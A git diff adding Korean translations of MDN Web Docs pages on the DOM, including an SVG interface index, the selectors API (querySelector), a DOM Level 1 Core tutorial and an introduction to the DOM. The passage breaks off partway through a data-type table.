+ <li>{{DOMxRef("SVGHKernElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGImageElement")}}</li>
+ <li>{{DOMxRef("SVGLinearGradientElement")}}</li>
+ <li>{{DOMxRef("SVGLineElement")}}</li>
+ <li>{{DOMxRef("SVGMarkerElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMaskElement")}}</li>
+ <li>{{DOMxRef("SVGMeshElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMeshGradientElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMeshpatchElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMeshrowElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMetadataElement")}}</li>
+ <li>{{DOMxRef("SVGMissingGlyphElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGMPathElement")}}</li>
+ <li>{{DOMxRef("SVGPathElement")}}</li>
+ <li>{{DOMxRef("SVGPatternElement")}}</li>
+ <li>{{DOMxRef("SVGPolylineElement")}}</li>
+ <li>{{DOMxRef("SVGPolygonElement")}}</li>
+ <li>{{DOMxRef("SVGRadialGradientElement")}}</li>
+ <li>{{DOMxRef("SVGRectElement")}}</li>
+ <li>{{DOMxRef("SVGScriptElement")}}</li>
+ <li>{{DOMxRef("SVGSetElement")}}</li>
+ <li>{{DOMxRef("SVGSolidcolorElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGStopElement")}}</li>
+ <li>{{DOMxRef("SVGStyleElement")}}</li>
+ <li>{{DOMxRef("SVGSVGElement")}}</li>
+ <li>{{DOMxRef("SVGSwitchElement")}}</li>
+ <li>{{DOMxRef("SVGSymbolElement")}}</li>
+ <li>{{DOMxRef("SVGTextContentElement")}}</li>
+ <li>{{DOMxRef("SVGTextElement")}}</li>
+ <li>{{DOMxRef("SVGTextPathElement")}}</li>
+ <li>{{DOMxRef("SVGTextPositioningElement")}}</li>
+ <li>{{DOMxRef("SVGTitleElement")}}</li>
+ <li>{{DOMxRef("SVGTRefElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGTSpanElement")}}</li>
+ <li>{{DOMxRef("SVGUseElement")}}</li>
+ <li>{{DOMxRef("SVGUnknownElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGViewElement")}}</li>
+ <li>{{DOMxRef("SVGVKernElement")}} {{Deprecated_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="SVG_데이터_타입_인터페이스">SVG 데이터 타입 인터페이스</h3>
+
+<p>다음은 SVG 프로퍼티와 어트리뷰트 정의에 쓰이는 데이터 타입을 위한 DOM API입니다.</p>
+
+<h4 id="정적_타입">정적 타입</h4>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("SVGAngle")}}</li>
+ <li>{{DOMxRef("SVGColor")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGICCColor")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGElementInstance")}}</li>
+ <li>{{DOMxRef("SVGElementInstanceList")}}</li>
+ <li>{{DOMxRef("SVGLength")}}</li>
+ <li>{{DOMxRef("SVGLengthList")}}</li>
+ <li>{{DOMxRef("SVGMatrix")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGNameList")}}</li>
+ <li>{{DOMxRef("SVGNumber")}}</li>
+ <li>{{DOMxRef("SVGNumberList")}}</li>
+ <li>{{DOMxRef("SVGPaint")}}</li>
+ <li>{{DOMxRef("SVGPathSeg")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegClosePath")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegMovetoAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegMovetoRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoCubicAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoCubicRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoQuadraticAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoQuadraticRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegArcAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegArcRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoHorizontalAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoHorizontalRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoVerticalAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoVerticalRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoCubicSmoothAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoCubicSmoothRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoQuadraticSmoothAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoQuadraticSmoothRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegList")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPoint")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPointList")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPreserveAspectRatio")}}</li>
+ <li>{{DOMxRef("SVGRect")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGStringList")}}</li>
+ <li>{{DOMxRef("SVGTransform")}}</li>
+ <li>{{DOMxRef("SVGTransformList")}}</li>
+</ul>
+</div>
+
+<h4 id="움직이는animated_형">움직이는(animated) 형</h4>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("SVGAnimatedAngle")}}</li>
+ <li>{{DOMxRef("SVGAnimatedBoolean")}}</li>
+ <li>{{DOMxRef("SVGAnimatedEnumeration")}}</li>
+ <li>{{DOMxRef("SVGAnimatedInteger")}}</li>
+ <li>{{DOMxRef("SVGAnimatedLength")}}</li>
+ <li>{{DOMxRef("SVGAnimatedLengthList")}}</li>
+ <li>{{DOMxRef("SVGAnimatedNumber")}}</li>
+ <li>{{DOMxRef("SVGAnimatedNumberList")}}</li>
+ <li>{{DOMxRef("SVGAnimatedPathData")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAnimatedPoints")}}</li>
+ <li>{{DOMxRef("SVGAnimatedPreserveAspectRatio")}}</li>
+ <li>{{DOMxRef("SVGAnimatedRect")}}</li>
+ <li>{{DOMxRef("SVGAnimatedString")}}</li>
+ <li>{{DOMxRef("SVGAnimatedTransformList")}}</li>
+</ul>
+</div>
+
+<h3 id="SMIL_관련_인터페이스">SMIL 관련 인터페이스</h3>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("ElementTimeControl")}}</li>
+ <li>{{DOMxRef("TimeEvent")}}</li>
+</ul>
+</div>
+
+<h3 id="기타_SVG_인터페이스">기타 SVG 인터페이스</h3>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("GetSVGDocument")}}</li>
+ <li>{{DOMxRef("ShadowAnimation")}}</li>
+ <li>{{DOMxRef("SVGColorProfileRule")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGCSSRule")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGDocument")}}</li>
+ <li>{{DOMxRef("SVGException")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGExternalResourcesRequired")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFitToViewBox")}}</li>
+ <li>{{DOMxRef("SVGLangSpace")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGLocatable")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGRenderingIntent")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGStylable")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGTests")}}</li>
+ <li>{{DOMxRef("SVGTransformable")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGUnitTypes")}}</li>
+ <li>{{DOMxRef("SVGUseElementShadowRoot")}}</li>
+ <li>{{DOMxRef("SVGURIReference")}}</li>
+ <li>{{DOMxRef("SVGViewSpec")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGZoomAndPan")}}</li>
+ <li>{{DOMxRef("SVGZoomEvent")}} {{Deprecated_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model/Examples">DOM 예제 </a></li>
+ <li><a href="/ko/docs/Web/API/CSS_Object_Model">CSS 객체 모델 (CSSOM)</a></li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
new file mode 100644
index 0000000000..07d0d169e4
--- /dev/null
+++ b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
@@ -0,0 +1,51 @@
+---
+title: 선택자로 DOM 요소 선택하기
+slug: Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors
+tags:
+ - Beginner
+ - DOM
+translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors
+---
+<div>{{ gecko_minversion_header("1.9.1") }}</div>
+
+<p>선택자 API는 DOM에서 {{domxref("Element")}} 노드를 선택자를 통해 빠르고 쉽게 가져올 수 있는 메서드를 제공합니다. 이 방법은 JavaScript 코드에서 반복문을 통해 특성 요소를 탐색하던 이전 방법보다 훨씬 빠릅니다.</p>
+
+<h2 id="NodeSelector_인터페이스">NodeSelector 인터페이스</h2>
+
+<p>본 명세는 {{domxref("Document")}}, {{domxref("DocumentFragment")}}, {{domxref("Element")}} 인터페이스를 구현하는 모든 객체에 메서드 두 개를 추가합니다.</p>
+
+<dl>
+ <dt><code>querySelector</code></dt>
+ <dd>노드의 하위 트리에서 첫 번째로 일치하는 {{domxref("Element")}} 노드를 반환합니다. 결과가 없으면 <code>null</code>을 반환합니다.</dd>
+ <dt><code>querySelectorAll</code></dt>
+ <dd>노드의 하위 트리 안에서 일치하는 모든 <code>Element</code>를 포함한 {{domxref("NodeList")}}를 반환합니다. 결과가 없으면 빈 <code>NodeList</code>를 반환합니다.</dd>
+</dl>
+
+<div class="note"><strong>참고:</strong> The <code><a class="internal" href="/en-US/docs/DOM/NodeList" title="en-US/docs/DOM/NodeList">NodeList</a></code> returned by <code><a class="internal" href="/en-US/docs/DOM/Element.querySelectorAll" title="en-US/docs/DOM/Element.querySelectorAll">querySelectorAll()</a></code> is not live, which means that changes in the DOM are not reflected in the collection. This is different from other DOM querying methods that return live node lists.</div>
+
+<p>You may find examples and details by reading the documentation for the <a class="internal" href="/en-US/docs/DOM/Element.querySelector" title="en-US/docs/DOM/Element.querySelector"><code>querySelector()</code></a> and <a class="internal" href="/en-US/docs/DOM/Element.querySelectorAll" title="en-US/docs/DOM/Element.querySelectorAll"><code>querySelectorAll()</code></a> methods, as well as in the article <a class="internal" href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Code snippets for querySelector</a>.</p>
+
+<h2 id="선택자">선택자</h2>
+
+<p>The selector methods accept one or more comma-separated selectors to determine what element or elements should be returned. For example, to select all paragraph (<code>p</code>) elements in a document whose CSS class is either <code>warning</code> or <code>note</code>, you can do the following:</p>
+
+<pre><code>var special = document.querySelectorAll( "p.warning, p.note" );</code></pre>
+
+<p>You can also query by ID. For example:</p>
+
+<pre><code>var el = document.querySelector( "#main, #basic, #exclamation" );</code></pre>
+
+<p>After executing the above code, <code>el</code> contains the first element in the document whose ID is one of <code>main</code>, <code>basic</code>, or <code>exclamation</code>.</p>
+
+<p>You may use any CSS selectors with the <code>querySelector()</code> and <code>querySelectorAll()</code> methods.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">Selectors API</a></li>
+ <li><a href="/en-US/docs/DOM/Element.querySelector" title="en-US/docs/DOM/Element.querySelector"><code>element.querySelector</code></a></li>
+ <li><a href="/en-US/docs/DOM/Element.querySelectorAll" title="en-US/docs/DOM/element.querySelectorAll"><code>element.querySelectorAll</code></a></li>
+ <li><a href="/en-US/docs/DOM/Document.querySelector" title="en-US/docs/DOM/document.querySelector"><code>document.querySelector</code></a></li>
+ <li><a href="/en-US/docs/DOM/Document.querySelectorAll" title="en-US/docs/DOM/document.querySelectorAll"><code>document.querySelectorAll</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code_snippets/QuerySelector">Code snippets for querySelector</a></li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html
new file mode 100644
index 0000000000..6bb71e8b44
--- /dev/null
+++ b/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html
@@ -0,0 +1,95 @@
+---
+title: W3C DOM Level 1 Core 사용하기
+slug: Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core
+tags:
+ - DOM
+ - NeedsUpdate
+translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core
+---
+<div>{{DefaultAPISidebar("DOM")}}</div>
+
+<div></div>
+
+<p>The W3C's DOM Level 1 Core 는 documents의 콘텐츠 트리를 변경하기 위한 강력한 객체형 모델입니다. 웹 스크립팅을 위한 초석이기도 한 이 모델은 Mozilla Firefox and Microsoft Internet Explorer를 포함한 주요 브라우저에서 지원합니다.</p>
+
+<h2 id="What_is_a_content_tree.3F" name="What_is_a_content_tree.3F">What is a content tree?</h2>
+
+<p>많은 HTML 웹 페이지 저자(이하 개발자)는 HTML를 - 태그와 글자로 버무려진 - 평평한 무언가라고 생각할 수 있습니다. 하지만 HTML은, 그 이상의 의미를 가지고 있습니다. 모든 HTML 문서 (SGML document or XML document 또한) 트리 구조를 가지고 있습니다. 예를 들면 아래의 문서와 도면의 구조는 굉장히 유사합니다. (완전히 같지는 않습니다! <a href="/en-US/docs/Web/API/Document_Object_Model/Whitespace_in_the_DOM">whitespace in the DOM</a> 문서를 참조하세요.)</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+ &lt;title&gt;My Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;h1&gt;Header&lt;/h1&gt;
+ &lt;p&gt;Paragraph&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><img alt="image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg" class="internal" src="/@api/deki/files/415/=Using_the_W3C_DOM_Level_1_Core-doctree.jpg"></p>
+
+<p>모질라에서 어떤 HTML 문서를 파싱할 때, 컨텐츠 트리를 만들고 이를 HTML 보여줄 때 사용합니다.</p>
+
+<p>DOM Level 1 Core에 대해서 설명하기 위한 용어에 대한 설명입니다. 위 도면에서 나온 모든 박스는 트리의 노드입니다. 한 노드 위의 선은 노드 간의 부모 - 자식 관계를 설명합니다. 상위 노드가 부모 노드이고, 하위 노드는 자식 노드입니다. 두 자식 노드를 같은 부모 노드를 가지고 있기 때문에 형제자매 노드라고 부를 수 있습니다. 비슷하게, ancestors와 descendants라는 용어를 사용할 수도 있습니다.</p>
+
+<h2 id="What_does_the_DOM_Level_1_Core_let_me_do.3F" name="What_does_the_DOM_Level_1_Core_let_me_do.3F">What does the DOM Level 1 Core let me do?</h2>
+
+<p>The W3C DOM Level 1은 컨텐츠 트리를 웹 페이지 <em>개발자가 원하는 어떤 방식으로든</em> 바꿀 수 있게 합니다. 백지 상태에서 HTML 문서를 제작할 수 있을 만큼 강력합니다. 또한 스크립트 언어를 통해 언제 어디서든 HTML 문서를 개발자가 조작할 수 있도록 합니다. 자바스크립트를 통해서 개발자는 동적으로 DOM을 가장 쉽게 변경할 수 있습니다. 자바스크립트는 전역 객체의 <code>document</code> 객체를 통해 오래된 브라우저가 접근했던 그 방식대로, HTML 문서에 접근 가능합니다, 이 <code>document</code> 객체는 the W3C's DOM Level 1 spec의 <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#i-Document">Document interface</a> 가 적용되어 있습니다.</p>
+
+<h2 id="A_simple_example" name="A_simple_example">A simple example</h2>
+
+<p>개발자가 상단의 HTML 문서에서 header의 내용을 바꾸고, 한 문단(Paragraph) 대신 두 문단으로 적용하고 싶다면, 아래와 같은 스크립트를 작성할 수 있습니다. </p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;body&gt;
+&lt;input type="button" value="Change this document." onclick="change()"&gt;
+&lt;h2&gt;Header&lt;/h2&gt;
+&lt;p&gt;Paragraph&lt;/p&gt;
+&lt;/body&gt;<span>
+</span></pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><span> function change() {
+ // document.getElementsByTagName("H2") 는 &lt;h2&gt; 엘리먼트의
+  // NodeList를 반환(return)합니다. 0부터 시작합니다.
+
+ var header = document.getElementsByTagName("H2").item(0);
+ // 헤더의 첫번째 자식 노드는 Text 노드입니다.
+ header.firstChild.data = "A dynamic document";
+ // 이제 헤더는 "A dynamic document"가 되었습니다.
+
+ var para = document.getElementsByTagName("P").item(0);
+ para.firstChild.data = "This is the first paragraph.";
+
+ // 두번째 문단을 만들기 위한 새로운 Text 노드를 만들었습니다.
+ var newText = document.createTextNode("This is the second paragraph.");
+ // 두번째 문단을 만들기 위한 새로운 p 엘리먼트를 만들었습니다.
+ var newElement = document.createElement("P");
+ // 새로운 p 엘리먼트에 텍스트를 넣어 문단을 만듭니다.
+ newElement.appendChild(newText);
+  // 생성한 문단을 HTML 문서 마지막에 넣기 위해
+ // (para의 부모인) HTML BODY에 append합니다.
+ para.parentNode.appendChild(newElement);
+ }</span></pre>
+
+<p>{{ EmbedLiveSample('A_simple_example', 800, 300) }}</p>
+
+<p><a href="/@api/deki/files/2866/=example.html">여기</a>에서 완성된 예시를 확인하실 수 있습니다.</p>
+
+<h2 id="How_can_I_learn_more.3F" name="How_can_I_learn_more.3F">How can I learn more?</h2>
+
+<p>이제 DOM의 기본적인 개념에 대한 설명이 끝났습니다. <a href="/en-US/docs/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces">DOM Level 1 fundamental methods</a> 에 대해서 궁금하시다면, 더 자세히 공부하실 수 있습니다.</p>
+
+<p>더욱 정확하고 엄밀한 설명은 W3C <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html">DOM Level 1 Core specification</a> 에서 확인하실 수 있습니다. 개발자에게 정보는 DOM 객체에 대한 설명과, 객체의 특성과 메소드에 대한 설명이 특히 유용합니다. <a href="/en-US/docs/DOM">MDN의 다른 DOM 관련 문서</a>도 참고 부탁 드립니다.</p>
+
+<div class="originaldocinfo">
+<p><strong>Original Document Information</strong></p>
+
+<ul>
+ <li>Author(s): L. David Baron &lt;dbaron at dbaron dot org&gt; </li>
+ <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/api/document_object_model/소개/index.html b/files/ko/web/api/document_object_model/소개/index.html
new file mode 100644
index 0000000000..b31dbc43d9
--- /dev/null
+++ b/files/ko/web/api/document_object_model/소개/index.html
@@ -0,0 +1,239 @@
+---
+title: DOM 소개
+slug: Web/API/Document_Object_Model/소개
+tags:
+ - DOM
+ - 가이드
+ - 문서
+translation_of: Web/API/Document_Object_Model/Introduction
+---
+<p>이 문서는 {{glossary("DOM")}}에 대한 개념을 간략하게 소개하는 문서이다: DOM 이 무엇이며, 그것이 어떻게 {{glossary("HTML")}}, {{glossary("XML")}} 문서들을 위한 구조를 제공하는지, 어떻게 DOM 에 접근하는지, API 가 어떻게 사용되는지에 대한 참조 정보와 예제들을 제공한다. </p>
+
+<h2 id="What_is_the_DOM" name="What_is_the_DOM">DOM 이란?</h2>
+
+<p>문서 객체 모델(The Document Object Model, 이하 DOM) 은 HTML, XML 문서의 프로그래밍 interface 이다. DOM은 문서의 구조화된 표현(structured representation)을 제공하며 프로그래밍 언어가 DOM 구조에 접근할 수 있는 방법을 제공하여 그들이 문서 구조, 스타일, 내용 등을 변경할 수 있게 돕는다. DOM 은 구조화된 nodes와 property 와 method 를 갖고 있는 objects로 문서를 표현한다. 이들은 웹 페이지를 스크립트 또는 프로그래밍 언어들에서 사용될 수 있게 연결시켜주는 역할을 담당한다.</p>
+
+<p>웹 페이지는 일종의 문서(document)다.  이 문서는 웹 브라우저를 통해 그 내용이 해석되어 웹 브라우저 화면에 나타나거나 HTML 소스 자체로 나타나기도 한다. 동일한 문서를 사용하여 이처럼 다른 형태로 나타날 수 있다는 점에 주목할 필요가 있다. DOM 은 동일한 문서를 표현하고, 저장하고, 조작하는 방법을 제공한다. DOM 은 웹 페이지의 객체 지향 표현이며, 자바스크립트와 같은 스크립팅 언어를 이용해 DOM 을 수정할 수 있다.</p>
+
+<p><a class="external" href="http://www.w3.org/DOM/">W3C DOM</a>, <a class="external" href="https://dom.spec.whatwg.org">WHATWG DOM</a> 표준은 대부분의 브라우저에서 DOM 을 구현하는 기준이다. 많은 브라우저들이 표준 규약에서 제공하는 기능 외에도 추가적인 기능들을 제공하기 때문에 사용자가 작성한 문서들이 각기 다른 DOM 이 적용된 다양한 브라우저 환경에서 동작할 수 있다는 사실을 항상 인지하고 있어야 한다.</p>
+
+<p>예를 들어, 표준 DOM 에서는 문서 안에서 모든 <code>&lt;P&gt;</code> elements 에 대한 list 를 리턴하는 <code>getElementsByTagName</code> method 를 정의하고 있다:</p>
+
+<pre class="brush: js">var paragraphs = document.getElementsByTagName("P");
+// paragraphs[0] is the first &lt;p&gt; element
+// paragraphs[1] is the second &lt;p&gt; element, etc.
+alert(paragraphs[0].nodeName);
+</pre>
+
+<p>웹 페이지를 수정하거나 생성하는데 사용되는 모든 property, method, event 들은 objects 로 구성된다. 예를 들어 document object 는 document 자체를 의미하며, table object 는 HTML table 에 접근하기 위한 <code>HTMLTableElement</code> DOM 인터페이스를 구현한 것이다. 이 문서는 Gecko 기반의 브라우저에서 구현된 DOM 에 대한 object-by-object reference 를 제공한다.</p>
+
+<h2 id="DOM_and_JavaScript" name="DOM_and_JavaScript">DOM 과 자바스크립트</h2>
+
+<p>이 문서의 대부분의 예제와 같이, 위에서 사용된 예제는 {{glossary("JavaScript")}}이다. 위의 예제는 자바스크립트로 작성되었지만 문서(document) 와 문서의 요소(element) 에 접근하기 위해 DOM 이 사용되었다. DOM 은 프로그래밍 언어는 아니지만 DOM 이 없다면 자바스크립트 언어는 웹 페이지 또는 XML 페이지 및 요소들과 관련된 모델이나 개념들에 대한 정보를 갖지 못하게 된다. 문서의 모든 element - 전체 문서, 헤드, 문서 안의 table, table header, table cell 안의 text - 는 문서를 위한 document object model 의 한 부분이다. 때문에, 이러한 요소들을 DOM 과 자바스크립트와 같은 스크립팅 언어를 통해 접근하고 조작할 수 있는 것이다.  </p>
+
+<p>초창기에는 자바스크립트와 DOM 가 밀접하게 연결되어 있었지만,  나중에는 각각 분리되어 발전해왔다. 페이지 콘텐츠(the page content)는 DOM 에 저장되고 자바스크립트를 통해 접근하거나 조작할 수 있다. 이것을 방정식으로 표현하면 아래와 같다:</p>
+
+<p>API (web or XML page) = DOM + JS (scripting language)</p>
+
+<p>DOM 은 프로그래밍 언어와 독립적으로 디자인되었다. 때문에 문서의 구조적인 표현은 단일 API 를 통해 이용가능하다.  이 문서에서는 자바스크립트를 주로 사용하였지만, DOM 의 구현은 어떠한 언어에서도 가능하다. 아래는 파이썬을 사용한 예제이다:</p>
+
+<pre class="brush: python"># Python DOM example
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # DOM property of document object;
+p_list = doc.getElementsByTagName("para");
+</pre>
+
+<p>웹에서 자바스크립트 사용하기와 관련된 기술에 대한 추가정보는 <a href="/ko/docs/Web/JavaScript/JavaScript_technologies_overview">자바스크립트 기술 개요</a> 문서를 참조하라.</p>
+
+<h2 id="How_Do_I_Access_the_DOM.3F" name="How_Do_I_Access_the_DOM.3F">DOM 에 어떻게 접근할 수 있는가?</h2>
+
+<p>DOM 을 사용하기 위해 특별히 해야할 일은 없다. 각각의 브라우저는 자신만의 방법으로 DOM 구현하였으며, 이로 인해 실제 DOM 기준을 따르는지 확인해야 하는 번거로움이 발생하였다. (이 문제는 이 문서에서 피하고 싶어하는 주제이기도 하다.) 모든 웹 브라우저는 스크립트가 접근할 수 있는 웹 페이지를 만들기 위해 어느 정도의 DOM 을 항상 사용한다. </p>
+
+<p>스크립트를 작성할 때(인라인 &lt;script&gt; 요소를 사용하거나 웹 페이지 안에 있는 스크립트 로딩 명령을 사용하여), 문서 자체를 조작하거나 문서의 children 을 얻기 위해 {{domxref("document")}} 또는 <code><a href="/ko/docs/DOM/window" title="DOM/window">window</a></code> elements 를 위한 API 를 즉시 사용할 수 있다. DOM 프로그래밍은 아래처럼 <code><a href="/ko/docs/DOM/window" title="DOM/window">window</a></code> object 로 부터 <code><a href="/ko/docs/DOM/window.alert" title="DOM/window.alert">alert()</a></code> 함수를 사용하여 alert message 를 표시하는 매우 간단한 것일 수도 있고 다음번 예제처럼 새로운 content 를 작성하는 복잡한 DOM 이 될 수도 있다.</p>
+
+<pre class="brush: html">&lt;body onload="window.alert('welcome to my home page!');"&gt;
+</pre>
+
+<p>아래의 자바스크립트는 문서가 로드될 때(모든 DOM을 사용할 수 있게 되는 때임) 실행되는 함수를 정의하였다. 이 함수는 새로운 H1 element 를 생성하고, element 에 text 를 추가하며, H1 을 이 문서의 트리에 추가한다.</p>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;head&gt;
+ &lt;script&gt;
+ // run this function when the document is loaded
+ window.onload = function() {
+
+ // create a couple of elements in an otherwise empty HTML page
+ var heading = document.createElement("h1");
+ var heading_text = document.createTextNode("Big Head!");
+ heading.appendChild(heading_text);
+ document.body.appendChild(heading);
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Important_Data_Types" name="Important_Data_Types">중요한 데이터 타입들</h2>
+
+<p>이 문서는 objects 와 types 을 최대한 간단하게 설명하려 한다. API 에는 우리가 반드시 알고 있어야 할 수많은 data types 이 있다는 사실을 염두해 두기 바란다.  이 문서에서는 nodes 는 <code>element</code>s 로, 노드의 arrays 는 <code>nodeList</code>s(또는 <code>element</code>s), attribute 노드들은 <code>attribute</code>s 로 표현하였다.</p>
+
+<p>아래의 표는 이러한 data types 에 대한 간략한 설명이다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>document</code></td>
+ <td>
+ <p>member 가 document type 의 object 를 리턴할 때(예를 들어 element의 <strong><code>ownerDocument</code></strong> property 는 그것이 속해 있는 document 를 return 한다. ), 이 object 는 root document object 자체이다. 는 <code>document</code> object 에 대한 설명은 <a href="/ko/docs/DOM/document" title="DOM/document">DOM <code>document</code> Reference</a> 챕터를 참조하라.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>element</code></td>
+ <td>
+ <p><code>element</code> 는 DOM API 의 member 에 의해 return 된 element 또는 <code>element</code> type 의 node 를 의미한다. <a href="/ko/docs/Web/API/Document/createElement">document.createElement()</a> method 가 <code>node</code> 를 참조하는 object 를 리턴한다고 말하는 대신, 이 method 가 DOM 안에서 생생되는 <code>element</code> 를 리턴한다고 좀 더 단순하게 말할 수 있다. <code>element</code> 객체들은 DOM <code>Element</code> interface 와 함께 좀 더 기본적인 <code>Node</code> interface 를 구현한 것이기 때문에 이 reference 에는 두 가지가 모두 포함되었다고 생각하면 된다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>nodeList</code></td>
+ <td>
+ <p><code>nodeList</code> 는 elements 의 배열이다. (<a href="/ko/docs/Web/API/Document/getElementsByTagName">document.getElementsByTagName()</a> method 에 의해 리턴된 것과 같은) nodeList의 Items 은 index 를 통해 접근 가능하며, 다음과 같이 두 가지 방식이 있다:</p>
+
+ <ul>
+ <li>list.item(1)</li>
+ <li>list[1]</li>
+ </ul>
+ 위의 방식들은 동일한 것이다. <strong><code>item()</code></strong>method는 <code>nodeList</code> object 의 단일 method 이다. 두번째 방식은 list 에서 두번째 item 을 fetch 하는 전형적인 array syntax 이다.  </td>
+ </tr>
+ <tr>
+ <td><code>attribute</code></td>
+ <td>
